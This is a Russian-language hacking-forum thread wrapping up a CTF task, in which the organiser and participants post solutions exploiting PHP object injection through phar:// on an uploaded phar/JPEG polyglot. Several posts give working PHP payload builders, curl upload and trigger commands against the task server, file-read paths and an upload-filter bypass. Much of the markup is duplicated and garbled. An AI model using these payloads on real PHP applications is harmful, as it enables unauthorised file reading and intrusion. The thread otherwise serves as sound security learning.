HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.02.2019, 12:32
MichelleBoxing
Новичок
Регистрация: 12.11.2018
Сообщений: 19
С нами: 3949526

Репутация: 57
По умолчанию

Интересное задание, спасибо @joelblack

не сразу врубился где флаг искать, спасибо @dooble за наводку.

ну и спасибо @crlf за предсказание
 
Ответить с цитированием

  #2  
Старый 19.02.2019, 13:34
b4zed
Новичок
Регистрация: 13.03.2016
Сообщений: 1
С нами: 5352086

Репутация: 4
По умолчанию

Done.

Спасибо авторам!
 
Ответить с цитированием

  #3  
Старый 21.02.2019, 01:57
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Done.

Спасибо авторам!
 
Ответить с цитированием

  #4  
Старый 22.02.2019, 17:09
joelblack
Участник форума
Регистрация: 06.07.2015
Сообщений: 240
С нами: 5713526

Репутация: 145
По умолчанию

Добавлен Хинт в первый пост
 
Ответить с цитированием

  #5  
Старый 23.02.2019, 16:21
D3N
Новичок
Регистрация: 08.12.2018
Сообщений: 7
С нами: 3912086

Репутация: 19
По умолчанию

Прошёл) Офигенный таск ! Поразмял мозги
 
Ответить с цитированием

  #6  
Старый 26.02.2019, 22:54
joelblack
Участник форума
Регистрация: 06.07.2015
Сообщений: 240
С нами: 5713526

Репутация: 145
По умолчанию

Добавлен еще один хинт в первый пост
 
Ответить с цитированием

  #7  
Старый 28.02.2019, 01:26
nix_security
Новичок
Регистрация: 15.02.2019
Сообщений: 11
С нами: 3812726

Репутация: 48
По умолчанию

Решено, спасибо. Интересный таск
 
Ответить с цитированием

  #8  
Старый 28.02.2019, 14:16
oleg_1va
Новичок
Регистрация: 08.12.2018
Сообщений: 4
С нами: 3912086

Репутация: 7
По умолчанию

Решил,познавательно).Спаси о за таск!
 
Ответить с цитированием

  #9  
Старый 02.03.2019, 01:01
joelblack
Участник форума
Регистрация: 06.07.2015
Сообщений: 240
С нами: 5713526

Репутация: 145
По умолчанию

Таск закрыт.Решения больше не принимаются.Спасибо всем за участие.Итоги подведу на выходных.
 
Ответить с цитированием

  #10  
Старый 03.03.2019, 00:24
joelblack
Участник форума
Регистрация: 06.07.2015
Сообщений: 240
С нами: 5713526

Репутация: 145
По умолчанию

Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-p...ion-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут:

https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize().Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяетpharфайл поместить в фейковыйjpg.

Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файлview.bak

(http://task.antichat.com:10004/backup/view.bak), который располагался в папкеbackup. Детально изучив файл можно увидеть классDebugкоторый содержит метод __destruct(),который в свою очередь содержитfile_get_contents(). Первое что приходит в голову, этоPHP Object Injectionно смущает отсутствие в кодеunserialize(). На этом этапе необходимо вспомнить оphar://.

Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.com:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens и @crlf обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-p...g_polyglot.php .


.SpoilerTarget" type="button">Spoiler: phar
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][COLOR="#007700"][/COLOR][COLOR="#0000BB"]startBuffering[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"test.txt"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"test"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setStub[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$jpeg_header_size[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" __HALT_COMPILER(); ?>"[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]();
[/
COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'php://filter/convert.base64-encode/resource=/var/www/html/index.php'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setMetadata[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$phar[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]stopBuffering[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR]
[/
COLOR

На выходе получаем файлDebug.phar. Далее нам необходимо преобразовать его вsome.jpg.Я для этого использовалNotepad++. Открываем данный файл в Notepad++ и сохраняем его какsome.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида:

.SpoilerTarget" type="button">Spoiler: img

Код:
http://task.antichat.com:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служит
file_exists()) нам необходимо добавить оберткуphar://

.SpoilerTarget" type="button">Spoiler: final

Код:
http://task.antichat.com:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg
В итоге получаем читалку. Дальше читаем .htaccess

.SpoilerTarget" type="button">Spoiler: htaccess

Код:
#
#  Deny from all
#
и получаем намек что есть некий flag.txt


.SpoilerTarget" type="button">Spoiler: flag

Код:
1_Kn0W_4b0Ut_Ph4R_M0r3
которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени.


Теперь перейдем крешениям:

.SpoilerTarget" type="button">Spoiler: Решения
@Felis-Sapiens

Цитата:
Сообщение от Felis-Sapiens  
  1. Можно лить картинки с расширением .jpg в папку upload//filename.jpg (можно было и просто в upload/)
  2. view.php?f= выдаёт "Something wrong!" на несуществующий файл, а на любой существующий включает ссылку на upload/[/]basename()
Поскольку я тут тыкал таск crlf и перечитывал про это, возникла мысль про phar-архивы и unserialize, а найденный бэкап view.php (backup/view.bak) заботливо предоставил класс для читалки:
[COLOR="#bfbfbf"]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]{

private
[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$img[/COLOR][COLOR="#007700"];

...
public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]() {
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]);
}
...
}[/
COLOR][/COLOR
Берём phpggc и создаём новую gadgetchain (здесь конечно никакой цепочки не нужно, просто для удобства генерации phar-архива, внедрённого в картинку):

phpggc -n task4 FR

и редактируем файлы:

.SpoilerTarget" type="button">Spoiler: gadgets.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$img[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]getmime[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]mime_content_type[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]setHook[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]deleteImg[/COLOR][COLOR="#007700"](){
[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"Изображение[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]удалено"[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]fsize[/COLOR][COLOR="#007700"]() {
return ([/COLOR][COLOR="#0000BB"]round[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]) /[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" KB"[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]() {
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]getName[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);
}
public function[/COLOR][COLOR="#0000BB"]getImgStat[/COLOR][COLOR="#007700"](){
foreach([/COLOR][COLOR="#0000BB"]stat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]is_int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]))
continue;
echo[/COLOR][COLOR="#DD0000"]"[[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]] ======> [[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#DD0000"]]
"[/COLOR][COLOR="#007700"];
}
}
public function[/COLOR][COLOR="#0000BB"]curDir[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]getcwd[/COLOR][COLOR="#007700"]();
}
}[/
COLOR][/COLOR
.SpoilerTarget" type="button">Spoiler: chain.php

[PHP]
[COLOR="#000000"]
Теперь легко создавать картинки для чтения файлов:

Код:
phpggc task4/FR1 "file:///var/www/flag.txt" -pj base_image.jpg -o image_with_payload.jpg
Заливаем

Код:
curl 'http://task.antichat.com:10004/upload.php' -H 'Cookie: PHPSESSID=' -F 'image=@image_with_payload.jpg;filename=somename.jpg'
и вызываем чтение phar-архива

Код:
curl 'http://task.antichat.com:10004/view.php?f=phar://upload//somename.jpg" -H 'Cookie: PHPSESSID='
Потребовалось поперебирать варианты и подсказка, что я на правильном пути, чтобы найти нужный файл /var/www/flag.txt

1_Kn0W_4b0Ut_Ph4R_M0r3

[COLOR="#bfbfbf"]

P.S.

Т.к. обработка filter_var($_FILES["image"]["name"],FILTER_SANITIZE_STRING) происходит непосредственно перед move_uploaded_file, можно заливать файлы с любым расширением, использовав, например, такое имя:

...;filename=somename.php/filename.jpg (можно было и просто в upload/)
[*]view.php?f= выдаёт "Something wrong!" на несуществующий файл, а на любой существующий включает ссылку на upload/[/]basename()[/LIST]Поскольку я тут тыкал таск crlf и перечитывал про это, возникла мысль про phar-архивы и unserialize, а найденный бэкап view.php (backup/view.bak) заботливо предоставил класс для читалки:
[COLOR="#bfbfbf"]
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]class[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]{

private
[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
private[/COLOR][COLOR="#0000BB"]$img[/COLOR][COLOR="#007700"];

...
public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]() {
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]);
}
...
}[/
COLOR][/COLOR
Берём phpggc и создаём новую gadgetchain (здесь конечно никакой цепочки не нужно, просто для удобства генерации phar-архива, внедрённого в картинку):

phpggc -n task4 FR

и редактируем файлы:

.SpoilerTarget" type="button">Spoiler: gadgets.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$img[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]getmime[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]mime_content_type[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]setHook[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"]){
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$hook[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]deleteImg[/COLOR][COLOR="#007700"](){
[/
COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"Изображение[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]удалено"[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]fsize[/COLOR][COLOR="#007700"]() {
return ([/COLOR][COLOR="#0000BB"]round[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]filesize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]) /[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]" KB"[/COLOR][COLOR="#007700"];
}
public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"]() {
if (isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"])) echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hook[/COLOR][COLOR="#007700"]);
}
public function[/COLOR][COLOR="#0000BB"]getName[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]);
}
public function[/COLOR][COLOR="#0000BB"]getImgStat[/COLOR][COLOR="#007700"](){
foreach([/COLOR][COLOR="#0000BB"]stat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]img[/COLOR][COLOR="#007700"]) as[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]is_int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]))
continue;
echo[/COLOR][COLOR="#DD0000"]"[[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]] ======> [[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#DD0000"]]
"[/COLOR][COLOR="#007700"];
}
}
public function[/COLOR][COLOR="#0000BB"]curDir[/COLOR][COLOR="#007700"](){
return[/COLOR][COLOR="#0000BB"]getcwd[/COLOR][COLOR="#007700"]();
}
}[/
COLOR][/COLOR
.SpoilerTarget" type="button">Spoiler: chain.php

[PHP]
[COLOR="#000000"]
Теперь легко создавать картинки для чтения файлов:

Код:
phpggc task4/FR1 "file:///var/www/flag.txt" -pj base_image.jpg -o image_with_payload.jpg
Заливаем

Код:
curl 'http://task.antichat.com:10004/upload.php' -H 'Cookie: PHPSESSID=' -F 'image=@image_with_payload.jpg;filename=somename.jpg'
и вызываем чтение phar-архива

Код:
curl 'http://task.antichat.com:10004/view.php?f=phar://upload//somename.jpg" -H 'Cookie: PHPSESSID='
Потребовалось поперебирать варианты и подсказка, что я на правильном пути, чтобы найти нужный файл /var/www/flag.txt

1_Kn0W_4b0Ut_Ph4R_M0r3



P.S.

Т.к. обработка filter_var($_FILES["image"]["name"],FILTER_SANITIZE_STRING) происходит непосредственно перед move_uploaded_file, можно заливать файлы с любым расширением, использовав, например, такое имя:

[FONT="Courier New"]...;filename=somename.phpimg = $img;
}
public function getmime(){
return mime_content_type($this->img);
}
public function setHook($hook){
$this->hook = $hook;
}
public function deleteImg(){
unlink($this->img);
echo "Изображение {$this->img} удалено";
}
public function fsize() {
return (round(filesize($this->img) / 1024))." KB";
}
public function __destruct() {
if (isset($this->hook)) echo file_get_contents($this->hook);
}
public function getName(){
return basename($this->img,'.'.explode('.',$this->img)[1]);
}
public function getImgStat(){
foreach(stat($this->img) as $name => $val) {
if(is_int($name))
continue;
echo "[$name] ======> [$val]
";
}
}
public function curDir(){
return getcwd();
}
}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\ x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\ x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\ x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0 c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\ x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x1 5".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\ xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x0 5\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\ x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x1 4".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\ x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x1 4\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\ x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x0 1".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc 4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x0 3".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\ xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\ x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x1 1".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x0 1\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2 0".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\ xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\ x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x0 1".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3 f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\ x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x0 0".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x1 0\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xd a".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\ x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0 0\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\ x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("flag.jpg");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new Debug(".");
$o->setHook("/var/www/flag.txt");
$phar->setMetadata($o);
$phar->stopBuffering();
[/CODE]
5. Заливаем картинку на сервер и эксплуатируем уязвимость по ссылке: http://task.antichat.com:10004/view....phar://upload/{SESSION_ID}/flag.jpg/test.txt

6. Смотрим сорцы страницы и получаем флаг 1_Kn0W_4b0Ut_Ph4R_M0r3

Цитата:
Сообщение от Ereee  

Привет
Флаг:
1_Kn0W_4b0Ut_Ph4R_M0r3
Был создан файл-полиглот phar+jpg с использованием:
https://github.com/kunte0/phar-jpg-polyglot
Payload:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$object<font color="#bfbfbf"><a href="https://antichat.live/members/180911/" target="_blank">@Ereee</a

</
font>[COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Debug[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'test'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]setHook[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'../flag.txt'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Далее был загружен файл и вызван:
Код:
http://task.antichat.com:10004/view.php?f=phar://parh_to_uploaded_polyglot
Догадался еще в пятницу, но почему-то через pharggc не получалось
P.S. Спасибо за таск!
@gurux13

Цитата:
Сообщение от gurux13  

Привет!
task4: 1_Kn0W_4b0Ut_Ph4R_M0r3
Последовательность:
1. /backup/ содержит view.bak, читаем сырцы
2. В сырцах есть file_exists и объект с __desctruct
3. Крафтим jpg файл, который выглядит, как jpeg, но пахнет грушей. Пут
4. Загружаем файл, открываем view.php?f=phar://...
5. Видим, что умеем читать сырцы.
6. Читаем .htaccess
8. Читаем flag.txt.
Основной код:
$hdr=file_get_contents("/path/to/valid/jpeg");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($hdr." __HALT_COMPILER(); ?>");
$o = new Debug("123");
$o->setHook("/var/www/flag.txt");
$phar->setMetadata($o);
$phar->stopBuffering();
@Franky_T

Цитата:
Сообщение от Franky_T  

Привет!
1_Kn0W_4b0Ut_Ph4R_M0r3
Находим бэкапы, читаем файл view.bak.
После длительных и безуспешных попыток повлиять на сессию, понимаем, что как-то это все сильно пахнет десериализацией. Вспоминаем статьи про phar, которые вышли в конце прошлого года. Дальше я начисто забыла, что file_exists тоже тригерится, но по статьям это вспомнила. Находим код, который позволяет построить phar архив с нужной нагрузкой, но замаскироваться под jpeg. Код из статьи rips хороший, но не дает сделать картинку. Погуглила, нашла проект полиглот
https://github.com/kunte0/phar-jpg-p...g_polyglot.php
Создаем phar-картинку, содержащую объект класса Debug. В качестве поля $hook ставим адрес файла, который хотим прочитать. Читаем исходники, понимаем, что там нет флага
смотрим .htaccess, там намек на флаг, но flag.txt в корне не находится. Зато находится на уровень выше.
Код:
class Debug {
private $hook = "../flag.txt";
}
@Isis

Цитата:
Сообщение от Isis  

Хай.
скрин пейлоада
https://www.dropbox.com/s/lt9dz7hv5ibu99z/Screenshot 2019-02-19 02.21.43.png?dl=0
private $hook = '/var/www/flag.txt';
view.php?f=phar:////var/www/html/upload/cc/me.jpg
1_Kn0W_4b0Ut_Ph4R_M0r3
@MichelleBoxing

Цитата:
Сообщение от MichelleBoxing  

флаг 1_Kn0W_4b0Ut_Ph4R_M0r3
Решение:
Находим /backup/view.bak
видим что пользовательские данные в параметре f никак не проверяются.
_destruсt вроде как можно использовать с unserialize (у нас есть класс и функция ) но не понятно куда подсовывать сериализованные данные. Вспоминаем про хайповую тему с phar. читам подробно
